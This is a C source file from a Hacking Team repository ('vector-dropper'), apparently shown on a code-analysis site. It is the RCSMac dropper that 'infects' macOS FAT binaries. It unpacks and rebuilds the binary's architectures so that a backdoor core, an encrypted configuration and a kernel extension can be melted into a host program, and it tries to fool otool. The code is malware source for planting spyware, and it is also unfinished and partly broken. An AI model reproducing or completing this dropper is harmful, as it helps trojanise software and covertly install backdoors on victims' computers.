hackedteam/vector-dropper

View on GitHub
RCSMacDropper/FATDropper.c

Summary

Maintainability
Test Coverage
/*
 * RCSMac Dropper
 *  - Check if the input file is a FAT binary
 *    - If Yes Unpack every single ARCH
 *  - Rebuild a FAT binary with all the original archs
 *    - Add a new ARCH PPC7400(?) which will be pointing to our data
 *    - Fool otool by adding data at the start of the Mach_Header (InfectionHeader)
 *
 * Created by Alfredo 'revenge' Pesoli on 14/07/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */

//#include <libc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <sys/stat.h>
//#include <sys/mman.h>

#include "RCSMacDropper.h"

#define MACH_MAGIC  0xfeedface
#define FAT_MAGIC      0xcafebabe

#define PAGE_ALIGNMENT 0x1000

#define VERSION     0.2


int
infectBinary (int aBinaryType)
{
  struct fatHeader newFatHeader;
  struct fatArch newFatArch;
  int outputFD;

  struct stat sb;

  unsigned int outOffset = 0;
  unsigned long architectureOffset = 0;
  unsigned long tempArchOffset     = 0;
  unsigned long paddedArchOffset   = 0;

  //
  // Crete the output file
  //
  if ((outputFD = open (gOutputFile, O_RDWR | O_CREAT | O_TRUNC, 0644)) < 0)
    {
      return kErrorCreateFile;
    }

  //if (!(outputFD = fopen (gOutputFile, "wb")))
    //{
      //return kErrorCreateFile;
    //}

  if (stat (gInputFile, &sb) == kErrorGeneric)
    {
      return kErrorGeneric;
    }

  int filesize = sb.st_size;
  char *outputMappedFile;
  
  //
  // Now mmap it, better and portable
  //
  if ((int)(outputMappedFile = mmap (0, filesize, PROT_READ | PROT_WRITE, 
                                     MAP_SHARED, outputFD, 0)) == kErrorGeneric)
    {
      printf ("[ee] Error during the mmapping of the output file\n");
      
      return kErrorCreateFile;
    }

  if (lseek (outputFD, filesize - 1, SEEK_SET) == kErrorGeneric)
    return kErrorOpenFile;
  if (write (outputFD, "", 1) == kErrorGeneric)
    return kErrorWriteFile;

  int index = 0;

  // No swap required
  if (aBinaryType & kFatBinary)
    {
      int numberOfArchs = gFatHeader.nfatArch;

      //
      // Setting up the new FAT Header by adding one new architecture
      //
      newFatHeader.magic    = FAT_MAGIC;
      newFatHeader.nfatArch = numberOfArchs;

      //
      // Storing the new FAT Header
      //
      fwrite (&newFatHeader, sizeof (newFatHeader), 1, outputFD);

      resourceHeader *resourceEntry[numberOfArchs];

      unsigned long dataOffset[6];
      int i;

      printf("[ii] Unpacking Fat Binary\n"); 
      printf("[ii] Found %d Arch(s)\n", numberOfArchs);

      //
      // Recreate the FAT header + FAT Archs
      //
      for (i=0; i<numberOfArchs; i++)
        {
          if (fread (&gFatArch, 1, 
                     sizeof (gFatArch), gInputFD) != sizeof (gFatArch))
            return kErrorReadFile;

          if (fseek (gInputFD, gFatArch.offset, SEEK_SET) == kErrorGeneric)
            {
              void *filePointer = malloc (gFatArch.size);
              memset (filePointer, '\0', gFatArch.size);
              
              if (filePointer != NULL)
                {
                  fread (filePointer, gFatArch.size, 1, gInputFD);

                  struct mach_header *m_header;
                  m_header = malloc (sizeof (struct mach_header));
                  memset (m_header, '\0', sizeof (struct mach_header));
                  memcpy (m_header, filePointer, sizeof (struct mach_header));

                  if (m_header->magic != MH_MAGIC)
                    {
                      return kInvalidMacho;
                    }

                  architectureOffset = (sizeof (newFatArch) *
                                        newFatHeader.nfatArch) +
                                        sizeof (newFatHeader);

                  // Now pad the offset to page boundary
                  architectureOffset = (architectureOffset / PAGE_ALIGNMENT + 1)
                                        * PAGE_ALIGNMENT;

                  //
                  // Setting up the fatArch header
                  //
                  newFatArch.cputype    = m_header->cputype;
                  newFatArch.cpusubtype = m_header->cpusubtype;
                  newFatArch.offset     = architectureOffset;
                  newFatArch.size       = gFatArch.size;
                  newFatArch.align      = 0xD;

                  architectureOffset += gFatArch.size;
                  // Now pad the offset to page boundary
                  architectureOffset = (architectureOffset / PAGE_ALIGNMENT + 1)
                                        * PAGE_ALIGNMENT;

                  if (fwrite (&newFatArch, sizeof (newFatArch), 1, outputFD) !=
                      sizeof (newFatArch))
                    {
                      return kErrorWriteFile;
                    }
                  
                  printf("filePointer: %08x", filePointer);
                  printf("filePointer: %08x", *(unsigned long *)filePointer);
                  dataOffset[~(numberOfArchs - gFatHeader.nfatArch - 1)] = *(unsigned long *)filePointer;
                }

              return kErrorGeneric;
            }
        }

      numberOfArchs = gFatHeader.nfatArch;

      //
      // Now copy back all the mach blocks
      //
      for (i=0; i<gFatHeader.nfatArch; i++)
        {
          tempArchOffset = architectureOffset = ftell (outputFD);
          architectureOffset = (architectureOffset / PAGE_ALIGNMENT + 1) *
                                PAGE_ALIGNMENT;

          while (tempArchOffset < architectureOffset)
            {
              fwrite ('\x00', 1, 1, outputFD);
              tempArchOffset++;
            }

          //if (fseek (gInputFD, offset, SEEK_SET) == kErrorGeneric)

        }

    }
  else if (aBinaryType & kFatSwapBinary)
    {
      printf("[ii] Infecting Swap Fat Binary\n");
      gFatHeader.nfatArch = SWAP_LONG (gFatHeader.nfatArch);
      int numberOfArchs = gFatHeader.nfatArch;

      //
      // Setting up the new FAT Header by adding one new architecture
      //
      newFatHeader.magic    = FAT_CIGAM;
      newFatHeader.nfatArch = SWAP_LONG (numberOfArchs - 1); //+ 1);

      //
      // Storing the new FAT Header
      //
      memcpy (outputMappedFile, &newFatHeader, sizeof (newFatHeader));
      outOffset += sizeof (newFatHeader);
      //fwrite (&newFatHeader, sizeof (newFatHeader), 1, outputFD);
      resourceHeader *resourceEntry[numberOfArchs];

      unsigned long dataOffset[6];
      int i;

      printf("[ii] Unpacking Fat Binary\n"); 
      printf("[ii] Found %d Arch(s)\n", numberOfArchs);

      //
      // Recreate the FAT header + FAT Archs
      //
      for (i=0; i<numberOfArchs; i++)
        {
          if (fread (&gFatArch, 1, 
                     sizeof (gFatArch), gInputFD) != sizeof (gFatArch))
            return kErrorReadFile;

          gFatArch.cputype = SWAP_LONG (gFatArch.cputype);
          gFatArch.cpusubtype = SWAP_LONG (gFatArch.cpusubtype);
          gFatArch.offset = SWAP_LONG (gFatArch.offset);
          gFatArch.size = SWAP_LONG (gFatArch.size);
          gFatArch.align = SWAP_LONG (gFatArch.align);
#ifdef DEBUG
                    printf("[ii] cputype \t: %d\n", gFatArch.cputype);
                    printf("[ii] offset \t\t: %u\n", (unsigned long)gFatArch.offset);
                    printf("[ii] size \t\t: %d\n", gFatArch.size);
#endif

          int tmpOfft = ftell (gInputFD);

          if (fseek (gInputFD, gFatArch.offset, SEEK_SET) == kErrorGeneric)
            {
              printf ("Error on fseek\n");
              return kErrorGeneric;
            }
#ifdef DEBUG
          printf ("[ii] fseek to the architecture offset\n");
#endif
          void *filePointer = malloc (gFatArch.size);
          memset (filePointer, '\0', gFatArch.size);
          
          if (filePointer != NULL)
            {
              printf ("[ii] Reading the architecture data\n");
              fread (filePointer, gFatArch.size, 1, gInputFD);

              printf("[ii] filePointer: %08x\n", filePointer);

              struct mach_header m_header;
              memset (&m_header, '\0', sizeof (struct mach_header));
              memcpy (&m_header, filePointer, sizeof (struct mach_header));

              //m_header.magic = SWAP_LONG (m_header.magic);
              //m_header.cputype = SWAP_LONG (m_header.cputype);
              //m_header.cpusubtype = SWAP_LONG (m_header.cpusubtype);
              //m_header.filetype = SWAP_LONG (m_header.filetype);
              //m_header.ncmds = SWAP_LONG (m_header.ncmds);
              //m_header.sizeofcmds = SWAP_LONG (m_header.sizeofcmds);
              //m_header.flags = SWAP_LONG (m_header.flags);
#ifdef DEBUG
              printf ("[ii] m_header magic: 0x%08x\n", m_header.magic);
              printf ("[ii] m_header cpu_type: %u\n", m_header.cputype);
              printf ("[ii] m_header cpu_type: %u\n", m_header.cputype);
#endif
              architectureOffset = (sizeof (newFatArch) *
                                    newFatHeader.nfatArch) +
                                    sizeof (newFatHeader);

              // Now pad the offset to page boundary
              architectureOffset = (architectureOffset / PAGE_ALIGNMENT + 1)
                                    * PAGE_ALIGNMENT;

              //
              // Setting up the fatArch header
              //
              if (m_header.magic == MH_MAGIC)
                {
                  newFatArch.cputype    = SWAP_LONG (m_header.cputype);
                  newFatArch.cpusubtype = SWAP_LONG (m_header.cpusubtype);
                }
              else if (m_header.magic == MH_CIGAM)
                {
                  newFatArch.cputype    = m_header.cputype;
                  newFatArch.cpusubtype = m_header.cpusubtype;
                }

              newFatArch.offset     = SWAP_LONG (gFatArch.offset);
              newFatArch.size       = SWAP_LONG (gFatArch.size);
              newFatArch.align      = SWAP_LONG (gFatArch.align);
              unsigned long t = 0xD;

              architectureOffset += gFatArch.size;
              // Now pad the offset to page boundary
              architectureOffset = (architectureOffset / PAGE_ALIGNMENT + 1)
                                    * PAGE_ALIGNMENT;

              outOffset += sizeof (gFatArch) * i;

              memcpy (outputMappedFile + outOffset, &newFatArch, sizeof (newFatArch));
              //fwrite (&newFatArch, sizeof (newFatArch), 1, outputFD);
              
              dataOffset[index] = gFatArch.size;
              dataOffset[index + 1] = (unsigned long)filePointer;

              index += 2;

              if (fseek (gInputFD, tmpOfft, SEEK_SET) == kErrorGeneric)
                {
                  return kErrorGeneric;
                }
            }
          else
            printf ("[ee] filePointer is NULL\n");
        }

      outOffset += sizeof (gFatArch);
      printf ("\n[ii] header setted correctly\n\n");
      numberOfArchs = SWAP_LONG (gFatHeader.nfatArch);

      int z;
      
      for (z = 0; z < 3; z += 2)
        {
          printf("dataOffset (%d): size: %d\n", z, dataOffset[z]);
          printf("dataOffset (%d): pointer 0x%x\n", z, dataOffset[z + 1]);
          printf("dataOffset (%d) first dword %x\n", z, *(unsigned long *)(dataOffset[z + 1] + 0x4));
        }
      
      //
      // Now copy back all the mach blocks
      //
      int index = 0;
      
      for (i=0; i<gFatHeader.nfatArch; i++)
        {
          printf("[ii] i: %d\n", i);
          tempArchOffset = architectureOffset = outOffset;
          architectureOffset = (architectureOffset / PAGE_ALIGNMENT + 1) *
                                PAGE_ALIGNMENT;
#ifdef DEBUG
          printf("[ii] outOffset: 0x%x\n", outOffset);
          printf("[ii] tempArchOffset: %d\n", tempArchOffset);
          printf("[ii] architectureOffset: %d\n", architectureOffset);
#endif
          char zero = '\x00';

          //memset (outputMappedFile + outOffset, '\x00', architectureOffset - outOffset);
          //while (tempArchOffset < architectureOffset)
            //{
              //fwrite (&zero, 1, 1, outputFD);
              //tempArchOffset++;
            //}

          outOffset = architectureOffset;

          printf ("[ii] Padded with 0\n");
          int size = 0;
          int finalSize = dataOffset[index];
          unsigned long dataPointer = dataOffset[++index];

          printf("[ii] dataPointer: %x\n", dataPointer);
          
          memcpy (outputMappedFile + outOffset, (unsigned long *)dataPointer, finalSize);
          free ((unsigned long *)dataPointer);
          index++;
          
          //while (size < finalSize)
            //{
              //size = fwrite ((unsigned long *)dataPointer, 1, finalSize, outputFD);
            //}

          //if (fseek (gInputFD, offset, SEEK_SET) == kErrorGeneric)
            //return kErrorGeneric;
          
          outOffset += finalSize;
        }
    }
  else if (aBinaryType & kMachBinary)
    {

    }

  return kSuccess;
}

int
repackBinaries ()
{
  return kSuccess;
}

int
getBinaryFormat ()
{
  if (!(gInputFD = fopen (gInputFile, "rb")))
    {
      return kErrorOpenFile;
    }

  if (fread (&gFatHeader, 1, sizeof (gFatHeader), gInputFD) != sizeof (gFatHeader))
    {
      return kErrorReadFile;
    }

  printf("file Read\n");

  switch (gFatHeader.magic)
    {
    case FAT_CIGAM:
      {
        return kFatSwapBinary;
      }
    case FAT_MAGIC:
      {
        return kFatBinary;
      }
    default:
      return kMachBinary;
    }
}

void
usage (char *aBinaryName)
{
  printf ("\nUsage: %s <core> <conf> <kext> <path> <input> <output>\n\n", aBinaryName);
  printf ("\t<core>   : backdoor core\n");
  printf ("\t<conf>   : backdoor encrypted configuration\n");
  printf ("\t<kext>   : kernel extension\n");
  printf ("\t<path>   : backdoor installation path (on target)\n");
  printf ("\t<input>  : binary to melt with\n");
  printf ("\t<output> : output filename\n\n");
}

int
parseArguments (int argc, char **argv)
{
    if (argc != 7)
    {
      return -1;
    }

  gCore = argv[1];
  gConfiguration = argv[2];

  if (strncmp ("null", argv[3], strlen ("null")) != 0)
    gKext = argv[3];

  gInstallPath  = argv[4];
  gInputFile    = argv[5];
  gOutputFile   = argv[6];

  return kSuccess;
}

int
main (int argc, char **argv)
{    
  if (parseArguments (argc, argv) & kErrorGeneric )
    {
      usage (*argv);
      exit (1);
    }

  int fileType = getBinaryFormat ();

  switch (fileType)
    {
    case kFatBinary:
      {
        printf ("[ii] FAT Binary found\n");
        infectBinary (kFatBinary);

        break;
      }
    case kFatSwapBinary:
      {
        printf ("[ii] FAT (to Swap) Binary found\n");
        int success;

        if ((success = infectBinary (kFatSwapBinary)) != kSuccess)
          {
            printf("[ee] An error occurred while infecting the binary\n");

            switch (success)
              {
              case kErrorGeneric:
                printf("[ee] Got a generic error\n");
                break;
              case kErrorOpenFile:
                printf("[ee] Error on file open\n");
                break;
              case kErrorReadFile:
                printf("[ee] Error while reading the input file\n");
                break;
              case kErrorWriteFile:
                printf("[ee] Error while writing the output file\n");
                break;
              case kErrorCreateFile:
                printf("[ee] Error while creating the output file\n");
                break;
              default:
                break;
              }
          }
        
        break;
      }
    case kMachBinary:
      {
        printf ("[ii] Mach Binary found\n");
        infectBinary (kMachBinary);
        
        break;
      }
    }

  return kSuccess;
}